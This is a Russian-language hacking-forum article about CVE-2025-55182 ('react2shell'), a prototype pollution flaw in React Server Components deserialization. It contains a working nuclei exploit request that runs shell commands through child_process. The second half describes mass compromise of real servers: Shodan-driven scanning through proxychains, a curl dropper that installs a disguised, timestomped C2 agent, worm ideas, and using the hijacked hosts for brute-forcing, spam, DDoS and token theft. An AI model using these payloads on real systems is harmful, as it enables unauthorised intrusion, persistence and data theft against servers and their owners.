(Для администрации LIMB.cc: статья не претендует на оплату, так как не является оригинальным контентом для Duty - я перевыложу ее на еще несколько информационных ресурсов. Цель сугубо ознакомительная и образовательная)
Спустя некоторое время после моей первой статьи, написанной с этого ника, была открыта связка из двух "опаснейших" уязвимостей, почти сразу получивших оценку в 10.0/10 по критериям CVSS - CVE-2025-55182 и ее дубликат, CVE-2025-66478. Первая уязвимость была довольно быстра воспета всеми ресерчерами как нечто невероятно ужасное и потенциально опасное: Vercel и прочие конторы рассылали письма своим пользователям, наполненные техническими деталями. Письма, правда, довольно сухие и безэмоциональные, выглядящие скорее как "рекомендация к обновлению" в довольно принудительном тоне =)))
Вложение 5375 недоступно
Ну мы то с вами знаем эти корпорации.. нас ломят все, кому не лень, но все хорошо, правда, верьте нам))0).
Именно о оригинальной и первой установленной(дубликат для некста был позже) язве, обозванной в народе react2shell, и пойдет речь в этой статье.
Что произошло? Техническая природа уязвимости
Начнем с того, что тем читателям среди нас, кто в отличие от более опытных зрителей может не знать, что это такое за зверек, Prototype Pollution, следует объяснить природу этой уязвимости. Многие авторы(талантливые и умные ребята, которых мне нравится читать, вроде ocean или YmbMember) уже описывали достаточно многие нюансы всей многомерной и моментами сложненькой среды JS как таковой, но стоит описать это для большего понимания происходящего еще раз. Повторение - мать учения =)))
Сам по себе prototype pollution является ничем иным, как неким "загрязнением прототипов". Звучит сложно? Согласен, это не типичная и понятная из названия в своей сути язва вроде XSS(кроссайтовый скриптинг, ну что же тут может быть?)) или SQLi.
Однако суть куда проще и кроется она на поверхности. Как ранее в своей довольно хорошо раскрытой статье озвучивал ocean, JS - зверек чудной и прототипно-ориентированный. Есть объекты и примитивы. Примитивы сами по себе - нечто "ниже" по уровню абстракции, просто значение, такое как string, boolean и так далее. Они не имеют методов и состояния: оно и понятно, ведь они - лишь "носитель" разных значений.
Объекты - нечто логически более "наполненное". Они тяжелее, выше. Так просто они уже не работают: передаются ссылками - прямыми обращениями, Есть и механика оберток, нам можно применять методы к конкретным значениям-примитивам =)
Так вот и у каждого объекта есть свой прототип, чуть "ниже" уровнем в абстракции. Словно бы пирамидка, но сложенная кверху попой, где все начинается с одного блока, но выше и выше ширина в блоках становится все больше. У методов есть конструкторы, у конструкторов есть прототипы, как и у любых объектов, и у тех тоже есть прототипы.. голова закипит, если думать о таком слишком долго.
Объекты наследуют свой прототип через proto, он же prototype, или через Object.getPrototypeOf. Второй случай мало чем отличается, просто если у объекта нет собственного заданного свойства, среда попытается найти его сама в цепочке прототипов.
К чему это? У всех объектов есть некие свойства. Свойства могут быть разные, могут быть вообще заданы в самом коде собсна программистом. Простейший пример:
let obj = {};
obj.name = "Артем";
console.log(obj.name); ##мы увидим свойство объекта "name", которые мы задали сами
console.log(obj.toString); ##мы увидим наследованный от Object.Prototype, "всеобщего родителя", [Function]
name - свойство, заданное obj нами самими. Тут все понятно. Но ведь прототип, а если точнее ссыль на него, это тоже своего рода свойство, пусть и несколько отличное от обычного этого понятия в жабаскрипте =))
И тут и кроется понимание этой уязвимости. Все "высокие" по уровню абстракции функции строятся на чем-то до них, и являются лишь более понятным человеку "языком", ближе к родной так сказать речи. Но мы можем подменять то, что делает конкретная штуковина, подменив ее объект-родитель, к которому она вроде как должна отсылаться.
Для большего понимания можно произвести хоть и не совсем корректное, но все же понятное сравнение с алиасами, так знакомыми многим пентестерам. Скажите же, удобно просто писать export URL= и прожимать алиас subrecon, чем самому долго и нудно фигачить subfinder -d url_domain -all -o и так далее?)) В этом случае лишь меняется то, что делает этот алиас: "сабфайндер" меняется на какой-то wget + chmod + ./. Бабах, и система на рутките.. неприятно, правда?)
const obj = { name: 'Sosiska' };
console.log("До:", obj.toString()); ###увидим крайне типичный вывод, object Object - простая работа toString, смотрим на типичный Object
Object.prototype.toString = function() { ###подменим прототип функции - ее "родителя" - на свою функцию вместо ее настоящего "родителя" из конструктора
return 'Где деньги, Лебовски?';
};
console.log("После:", obj.toString());
Так и работает загрязнение прототипов). Мы делаем "родителей" у конкретных штуковин "злыми", и они делают то, что нам нужно, а тут аттракцион уже зависит от самого стека: от простых DoS до сложных в своей цепочке атак, приводящих к аккаунт тейковерам, захвату админки или даже RCE(более "техническая" штука, чем логические манипуляции).
В контексте загрязнения прототипа существует и вполне ясная классификация: гаджет, источник и приемник. Приемник американизированная индустрия пентеста обзывает синком. Тут все понятно из названий: в источнике появится вредоноска, в гаджете(логический элемент), где данные каким-то из возможных образов обрабатываются, вредоноска будет перенесена в приемник - место, где вредоноска исполнится. Так можно описать большинство сценариев Prototype Pollution, происходящих на клиентсайде - у вас на машинке. Может быть опасно кстати, приводит к XSS, а это как мы знаем штука злая. Могут и кукисы спереть.
Серверсайд эта же язва выглядит чуть иначе.
Вуля замечательная, и я советую всем ее полапать - ее опять же многие упускают, что крайне обидно, награды-то солидные для багхантеров :(
Лабы портсвиггера вам в помощь, ребятки. В свое время очень многому научили - как минимум, клацать бёрп и +- крепко понимать "работу" вуль.
Для нашего же сегодняшнего кейса упомянем, что существует довольно обширная классификация видов загрязнения прототипов как по допустим месту действия(клиент, сервер), так и по своему механизму. Наш сегодняшний гость - небезопасная дисериализация.
Пройдя пару лаб, или почитав статью ocean по теме на LIMB, вы можете увидеть, как используются гаджет, источник и приемник. Киллчейн в целом понятен, проходимый путь - тоже.
Реакт - штука довольно сложная под капотом, если не знать, что копать, и ни разу с ним не работать. Рассмотрим только нужное, об остальном расскажут всякие дб по вулям, в вебе слава богу их навалом.
В реакте существует отдельный протокол, имя этому гаду нечестивому, провинившемуся и натворившему немало бед, React Flight. Он нужен, чтобы передовать RSC-пэйлоды - компоненты, буквально говоря. React Server Components. Думаю, понятно, что тягаются они меж клиентом и сервером по конкретно этому протоколу.
Но корень зла здесь таится в том, что может передаваться по этому React Flight - в функциях десериализации, таких как decodeReply из react-server-dom-webpack/server и requireModule из react-server-dom-parcel, где поломалась валидация типов и проверка свойств объектов перед их разрешением
Более точный чейн можно описать как отсутствие адекватной санитизации - "выборки" и удаления всего вредоносного, как и при скулях/других инжективных вулях или чему-то подобному. Санитизация на этапе клиент-сервер в случае SQLi удаляет все вредоносное и просто непозволительное, санитизация здесь не позволяет создавать последовательности объектов, которые переопределяли бы прототипы. Короче говоря, нам не дают отправлять те самые гадкие строки, способные подменить значение у конкретного объекта - значение его прототипа. Сама по себе дисериализация работает у реакта так, что все эти запросы, так как HTTP там многочанковый, обрабатываются в формате json-подобной структуры. Чанки содержат ссылки - референсы. Их и эксплойтят, так и произошла эта гадость.
Допустим, компонент requireModule до патча содержал следующий уязвимый блочок:
export function requireModule(metadata: ClientReference): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; ###корень зла
}
Метадата тут берется из невалидированного входа.. так и вбивается "клин" в этот код, который подменяет прототип "moduleExports". Просто? Да. Изящно? Словами не описать. Ведь в итоге переопределяются свойства "then" через "$1:proto:then", Function Constructor через _formData.get попадается к нам в доступ, далее происходит инъекция через _prefix - вредоносный код выполняется через Function()(ну не мудрено, мы же фанкшен конструктор взяли в ручки).. Почитайте сорцы - это поучительно.
Возьмем хороший PoC с гитхаба(темплейт под нуклей прилагается!) - https://github.com/sickwell/CVE-2025-55182. Посмотрим на "сырой запрос" из коробки - он есть как раз таки в темплейте.
http:
- method: POST
path:
- "{{BaseURL}}"
headers:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Next-Action: x
Accept: text/x-component
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_1}}
body: |
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="0"
{"then":"$1:proto:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:NEXT_REDIRECT;push;/login?a=${res.trim()};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary{{randstr_1}}
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundary{{randstr_1}}--
Да, все в целом как мы и описали. Пэйлод оформлен под "легитимник", под обычный запрос. Есть имена чанков, вот эта вот штука name="0-2". Их дисериализатор как раз воспринимает за последовательные части RSC-потока. Каждая часть, как и видим, это JSON или строка которая на него ссылается/ссылается на другие чанки. Потому в поке и оставлены рандстринги - мы иммитируем легитимный и правильный запрос через отсылки на рандомные валидные имена чанков. Нейм 0 - основной гаджет, мы в нем загрязняем прототип и оставляем команду для RCE. Тут безобидный id. Нейм 1 - не менее важен, он ссылается на чанк 0 через $@0, короче говоря заставляет его обработать как Promise - важно для триггера. Ну и нейм 2 - пустая заглушка.
Мы всего-то вызываем цепочки с then(), но есть нюанс. Мы его переопределили =)
Смотря на эту странную строчку в чанке0, видим, что сначала через "status":"resolved_model" мы пытаемся втирать реакту на серьезных щах, что все легитимно и это готовая модель для дисериализации. "then":"$1:proto:then" - гаджет, это примерно видно по его внешке. proto говорит за него)). Но вот этот $1 запускает рекурсивные "бега друг за другом" - ссылается на чанк1, который сам как мы видим ссылается на чанк0. По итогу загрязняем и переопределяем then на кастомку, которую мы ему внушили.
Че дальше? Да все просто, есть вложенный объект, который покроется hexом. Вместо then() вызывается его кастомный и злой близнец, он перенаправляет нас на свойства _response. В нем происходит все самое злое, после чего появляется _prefix. Он будет исполнен, он - RCE.
В итоге все оборвется на заглушке.
От нудятины к практике
Механизм рассмотрели. Почему бы и не применить? Заходим в шодан, загоняем ему нашу дорку, просто ищем одним словом ВСЕ, выгружаем. Бабах.
Ничего сложного: proxychains nuclei -l url.txt -t custom/cve-2025-55182.yml(проксичейнз юзаю, чтобы такой шумихой не зафродить свои прокси и чтобы один адрес не приняли за адрес китайского аптера, отрыгивающего новый ботнет).
Мноооооого потенциальных таргетов(и не меньше ханипотов :D). В первые часы багхантеры хакервана и багкрауда били огромнейшие выигрыши в 5-7 тысяч долларов тупо за запуск нукли после шодана - куча "гигантов" индустрии этим болели. Но это - законный и этичный формат хакинга, он полезен. Но только простым людям, их безопасность становится еще более крепкой. Их данные не утекут, а сервисы будут работать по-доброму и замечательно.
Но что, если довести до ума? Этим вопросом я задался практически сразу. И эксплоиты кривые юзать не сильно хотелось.. у многих неправильно были реализованы отправки этих POST, много чего пришлось править.
Подобная инфра почти всегда разворачивается контейнеризированно, внутри аккуратно сложенных Dockerов. Скорее всего, попадать после RCE мы будем в Alpine Linux. Среда крайне ограниченная, но работать можно.. разворачиваем Adaptix с C2 под CDN от клауда, на своем домене. Обязательно оставляем HTTP-биконы: сокетные очень сильно палят оригу вашего дедика под работу.
Почитав темплейт нукли и увидев, что по факту можно давать RCE и удобным nuclei, я исторгнул нечто подобное:
apk add curl;curl -sf https://x.y.z.m/ccc -o /usr/bin/ping3&&chmod +x /usr/bin/ping3&&touch -r /usr/bin/ls /usr/bin/ping3&&nohup /usr/bin/ping3& ###пинг3 очевиден для нас, хеккеров, но сисы-новички ничего нового не увидят, да и под docker exec мало кто лазит =)))
Простейший дроп для персистенс-агента адаптикса, который только был возможен. Просто заменил id в темплейте под нукли на это поделие, написанное от руки за 20 секунд в терминале.
Первый посев дал свои плоды: на адаптикс прилетело две новых сессии.
Одна из них была очень мне интересна, я даже в ней покопался: не каждый день работаешь с кубернетес-инфрой, а она всегда приятная головоломка. Кому будет интересно - я оставлю в комментарии этой темы скриншоты.
В голову сразу пришла идея червеобразной структуры: каждый новый пытается найти еще больше новых. Что особенно приятно, в данном случае вуля позволяет. Эксплойтинг очень легкий и справится даже 1 пайтон-скрипт.
Существует и другой вариант - взять дедик, да "попрочнее", составить на нем конкретный "конвейер" от шодана до эксплойта. Или поставить парс диапазонов. Тестовый парс я тоже произвел: посчитав довольно широкий диапазон, решил смотреть адреса только со специфичными портами(3000-3010 - наша цель).
Пробный полет только на 3000-ый, специфичный весьма, порт
Было понятно, оба варианта в целом вполне себе жизнеспособны. Однако, простой парсинг шодана обойдется куда меньшими жертвами: ни на какой дедик не прилетит абузка за сканнинг, да и больше целей выходит за раз за меньшее количество времени. Парсинг диапазонов был бы вариантом при работе как раз таки "червеобразного" формата, когда каждые новые зараженные ищут последующих, которых заразят уже сами. Чужое железо и под абуз не жалко =))
По итогу пришел именно к сложным, хитромудрым решениям со скачиванием шодана со всего мира и использованием nuclei с одного из дедикейтов. Проксичейнз приветствуется, дедик сохраните подольше в живых.
Сидим, чай пьем... AdaptixC2 на новом проекте и ожидание отстуков от новых RCE-инсталлов..
Делал все руками: скачать листы не так сложно. Однако, и C2-агент тоже сменил. Была добавлена и автоматизация, и более крепкий persistance - прячемся среди легитимной ноды далеко в зависимостях, ставим отстуки раз в конкретное время. Все можно сделать и на Adaptix: возможно, я напишу отдельный гайд по этому поводу в ближайшее время.
Потенциал использования "ботов" самый разный. От использования их для брутфорса админок, телнетов и так далее, до рассылки спама и DDoS.
Находки на многих пациентах тоже завораживают :D
Может быть все, от всякой вкусной гит-штуки и даже гитлаб-токенов до конкретных фрагментов баз и даже ключей от прочей инфры.
Интернет сломать куда проще, чем кажется. React в очередной раз это доказал. Желаю всем удачного багхантинга и находок в high-crit. Помогите странам улучшить вашу общую безопасность =)
LIMB